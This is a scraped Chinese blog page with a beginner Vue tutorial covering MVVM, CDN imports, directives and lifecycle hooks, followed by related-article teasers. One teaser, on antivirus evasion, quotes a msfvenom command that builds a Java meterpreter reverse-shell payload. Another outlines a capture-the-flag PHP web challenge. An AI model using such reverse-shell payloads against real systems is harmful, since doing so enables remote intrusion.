当前位置： 首页 > news >正文

Vue基础入门---详细简介

news 2026/1/18 8:19:11

一，对Vue的概念

1.1 什么是Vue ？

       一种流行的JavaScript前端框架，用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制，使得数据的变化能够自动更新相关的DOM元素，同时也提供了一套简洁明了的语法和API，使得开发人员能够更轻松地构建和维护复杂的用户界面

总而言之，Vue是一种功能强大且易于学习的前端框架，适用于开发各种规模的Web应用程序，从简单的页面增强到复杂的单页面应用

1.2  使用Vue的好处

简洁易学：提供了简洁的API和清晰的文档，使得学习和上手变得相对容易。

响应式：使用了响应式的数据绑定机制，当数据发生变化时，自动更新相关的DOM元素，减少了手动操作DOM的繁琐。

组件化开发：鼓励组件化开发，将界面拆分为独立可复用的组件，提高了代码的可维护性和可重用性。

生态系统：拥有强大的生态系统，包括Vue Router、Vuex等插件和工具，能够满足不同规模项目的需求。

性能优化：通过虚拟DOM和精细的更新策略，提高了应用程序的性能，并保持了灵活性和开发效率

二，Vue的基础入门

2.1 MVVM（数据双向绑定）

      在使用之前我们先来了解一下什么是MVVM？，简单来说它一种更好的UI模式解决方案，MVVM可以通过数据双向绑定让数据自动地双向同步        

MVVM    M-V-VM

MVVMM-V-VM
M

model数据模型

V

view视图

VMViewModel视图模型，把Model和view关联起来就是ViewModel，viewModel负责把Model的数据同步到View显示出来，还负责把View的修改同步回Model

 1) V（修改数据） --> M  将视图层的数据通过事件将数据提交到后端服务器(前端到后端)
      $('#btn_login').click(function(){
         通过ajax将页面中的数据通过json格式传递到后端服务器
     })

   2) M（修改数据）-> V  将后端数据（JSON）通过赋值的方式在视图层展现(后端到前端)  
      通过ajax的方式调用后端的数据接口将回传过来的JSON数据渲染到页面
      $('#book_name').val("xxx");

        相比之下MVC模式，MVVM模型是一种更现代化的架构模式，它在MVC模式的基础上引入了一个新的组件：视图模型（ViewModel）。MVVM模式将应用程序分为四个主要组件：模型（Model）、视图（View）、视图模型（ViewModel）和数据绑定（Data Binding）。模型负责处理数据和业务逻辑，视图负责展示用户界面，视图模型则充当模型和视图之间的中介，负责处理视图的状态和行为。数据绑定机制使得视图和视图模型之间的数据同步更加简单和自动化。MVVM模式的优点是将视图和业务逻辑分离，使得代码更易于维护和测试，并且通过数据绑定机制提供了更好的用户界面交互体验。

2.2 BootCDN（加速服务）

官方网址：BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务 

BootCDN是一个免费的CDN加速服务，致力于为Bootstrap、jQuery、React、Vue.js一样优秀的前端开源项目提供稳定、快速的免费CDN加速服务。BootCDN所收录的开源项目主要同步于cdnjs。你可以通过BootCDN提供的链接直接使用这些开源库，而无需下载到本地，从而加快页面的加载速度 。

三，Vue实例

3.1 Vue开发示例

导入相对应的工具，在BootCDN供的链接直接使用这些开源库copy即可

<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.7.1/jquery.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>

注：

1. 每个Vue应用都是通过用Vue构造器创建一个新的Vue实例开始的。
2. 需要给vue指定一个内容管理区，通常我们也把它叫做边界，这意味着我们接下来的改动全部在指定的div内，div外部无用。
3. 双花括号叫做插值

1 定义边界

         <div id="Bing">{{msg}}</div>

2 创建Vue实例 

	<body><script type="text/javascript">  new Vue({el:"#Bing",data(){return  {msg:'Hello Bing!'}}})</script></body>

 3.2  Vue的基本语法

  1. vue指令：指的是是带有“v-”前缀的特殊属性
  2. vue实例的methods用来定义交互事件使用的函数,函数名不限制

①v-model

        在Vue中，v-model是一个指令，用于在表单控件元素上创建双向数据绑定。它实际上是语法糖，等同于v-bind和v-on的结合体

定义边界

	<!--定义vue管理的边界，有且只有一个根节点---><div id="Bing">{{msg}}<input v-model="msg"><br/></div>

Vue实例：

    <script type="text/javascript">  		  <!--构建vue实例并绑定边界-->new Vue({el:"#Bing",data(){return  {msg:'Bing!'}}})

②v-bind：value

        在Vue中，v-bind是一个指令，用于将元素的属性与Vue实例的数据进行绑定。其中，：value是v-bind的一个参数，表示要绑定的属性名

③事件绑定

<!--完整写法-->
<button v-on:事件名="函数名/vue表达式">点我</button>
<!--简化写法-->
<button @事件名="函数名/vue表达式">点我</button>

Vue支持html中所有已知事件. 如: @click, @submit等, 只不过是将之前的on全部换成了@

如button中的@click

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title></title><!--导入相对应的工具--><script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.7.1/jquery.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script></head><body><!--定义vue管理的边界，有且只有一个根节点---><div id="Bing"><!-- {{msg}} --><input :value="msg"><br/><button @click="tan()">点击我弹出输入框内容</button></div><script type="text/javascript">  <!--构建vue实例并绑定边界-->new Vue({el:"#Bing",data(){return  {msg:'Bing!'}},methods:{tan(){alert(this.msg)}}})</script></body>
</html>

四，Vue的生命周期 

   Vue生命周期钩子是在Vue实例的不同阶段执行的回调函数。这些钩子函数允许我们在特定的生命周期阶段执行自定义逻辑，以便在应用程序的不同阶段进行初始化、更新和销毁操作。

以下是Vue的生命周期钩子函数：

beforeCreate：在实例被创建之前调用，此时数据观测和事件配置尚未完成。

created：在实例创建完成后调用，此时已完成数据观测，但尚未挂载到DOM上。

beforeMount：在实例挂载到DOM之前调用。

mounted：在实例挂载到DOM后调用，此时可以访问到DOM元素。

beforeUpdate：在数据更新之前调用，发生在虚拟DOM重新渲染和打补丁之前。

updated：在数据更新之后调用，发生在虚拟DOM重新渲染和打补丁之后。

beforeDestroy：在实例销毁之前调用，此时实例仍然完全可用。

destroyed：在实例销毁之后调用，此时实例已被销毁，所有的事件监听器和子实例也被移除。
 

Vue生命周期图:

相关文章：

Vue基础入门---详细简介

一&#xff0c;对Vue的概念 1.1 什么是Vue &#xff1f; 一种流行的JavaScript前端框架&#xff0c;用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制&#xff0c;使得数据的变化能够自动更新相关的DOM元素&#x…...

编程日记 2023/9/21 19:56:36

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度&#xff0c;暂时停滞使用&#xff0c;重写了QTreeWidget的拖拽功能&#xff0c;和绘制功能&#xff0c;自定义了数据结构&#xff0c;增加复制&#xff0c;粘贴&#xff0c;删除&#xff0c;准备实现动态刷新数据支持千万数据动态刷新&a…...

编程日记 2023/9/21 19:55:35

【Spring Boot】拦截器学习笔记

一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

编程日记 2023/9/21 19:54:34

云可观测性：提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

编程日记 2023/9/21 19:53:34

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

编程日记 2023/9/21 19:51:32

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

编程日记 2023/9/21 19:50:32

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

编程日记 2023/9/21 19:49:31

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

编程日记 2023/9/21 19:47:29

Mybatis返回自动递增主键值，通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

编程日记 2023/9/21 19:46:27

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

编程日记 2023/9/21 19:43:25

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

编程日记 2023/9/21 19:41:23

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

编程日记 2023/9/21 19:38:21

C 风格文件输入/输出---错误处理---(std::clearerr，std::feof，std::ferror，std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

编程日记 2023/9/21 19:37:20

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

编程日记 2023/9/21 19:36:19

iOS“超级签名”绕过App Store作弊解决方案

一直以来&#xff0c;iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下&#xff0c;游戏作为一个整体&#xff0c;无论哪一端出现安全问题&#xff0c;都会造成更加严重的影响。因此&#xff0c;iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

编程日记 2023/9/21 19:33:17

I2C子系统、读取温湿度的逻辑及代码

一、IIC子系统 两根线&#xff1a; scl:时钟线 sda:数据线 iic有4种信号&#xff1a; 起始信号&#xff08;start&#xff09;:scl是高电平&#xff0c;sda下降沿 终止信号&#xff08;stop&#xff09;:scl高电平&#xff0c;sda上升沿 应答信号&#xf…...

编程日记 2023/9/21 19:32:16

数据结构——排序

排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示&#xff1a;shell_insert.hshell_insert.ctest.c 总结 前言 来…...

编程日记 2023/9/21 19:30:14

资深java面试题及答案整理

编写 Java 程序时, 如何在 Java 中创建死锁并修复它&#xff1f; 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码&#xff0c;你可能会失败。 如何避免 Java 线程死锁&#xff1f; 如何避免 Java 中的死锁&#xff1f;是 Java 面试的热门问题之…...

编程日记 2023/9/21 19:29:14

buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站&#xff0c;吓我一跳 2.查看源代码&#xff0c;主要看到timezone&#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个&#xff0c;但是没什么用 3.使用bp抓包 会发现有两个参数&#xff0c;应该是用func来执行p 4.修改func和p file_get_contents&#…...

编程日记 2023/9/21 19:28:13

SpringBoot实战（二十四）集成 LoadBalancer

目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一&#xff1a;Eureka LoadBalancer服务A&#xff1a;loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...

编程日记 2023/9/21 19:27:12

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

编程新知 2026/1/17 9:05:55

国防科技大学计算机基础课程笔记02信息编码

1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制&#xff0c;因此这个了16进制的数据既可以翻译成为这个机器码&#xff0c;也可以翻译成为这个国标码&#xff0c;所以这个时候很容易会出现这个歧义的情况&#xff1b; 因此&#xff0c;我们的这个国…...

编程新知 2026/1/17 8:32:56

（二）原型模式

原型的功能是将一个已经存在的对象作为源目标，其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现，忽略对象创建过程中的其它细节。 📌 核心特点： 避免重复初…...

编程新知 2026/1/15 9:41:58

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

编程新知 2026/1/15 5:31:03

【HarmonyOS 5 开发速记】如何获取用户信息（头像/昵称/手机号）

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

编程新知 2025/9/17 2:39:21

DeepSeek 技术赋能无人农场协同作业：用 AI 重构农田管理 “神经网”

目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...

编程新知 2025/9/24 13:35:36

Redis的发布订阅模式与专业的 MQ（如 Kafka, RabbitMQ）相比，优缺点是什么？适用于哪些场景？

Redis 的发布订阅&#xff08;Pub/Sub&#xff09;模式与专业的 MQ&#xff08;Message Queue&#xff09;如 Kafka、RabbitMQ 进行比较&#xff0c;核心的权衡点在于&#xff1a;简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...

编程新知 2025/12/4 2:32:37

TJCTF 2025

还以为是天津的。这个比较容易&#xff0c;虽然绕了点弯&#xff0c;可还是把CP AK了&#xff0c;不过我会的别人也会&#xff0c;还是没啥名次。记录一下吧。 Crypto bacon-bits with open(flag.txt) as f: flag f.read().strip() with open(text.txt) as t: text t.read…...

编程新知 2025/12/2 12:05:07

渗透实战PortSwigger Labs指南：自定义标签XSS和SVG XSS利用

阻止除自定义标签之外的所有标签 先输入一些标签测试&#xff0c;说是全部标签都被禁了 除了自定义的 自定义<my-tag onmouseoveralert(xss)> <my-tag idx onfocusalert(document.cookie) tabindex1> onfocus 当元素获得焦点时&#xff08;如通过点击或键盘导航&…...

编程新知 2026/1/15 3:04:14

动态规划-1035.不相交的线-力扣(LeetCode)

一、题目解析 光看题目要求和例图&#xff0c;感觉这题好麻烦&#xff0c;直线不能相交啊&#xff0c;每个数字只属于一条连线啊等等&#xff0c;但我们结合题目所给的信息和例图的内容&#xff0c;这不就是最长公共子序列吗&#xff1f;&#xff0c;我们把最长公共子序列连线起…...

编程新知 2026/1/17 23:48:00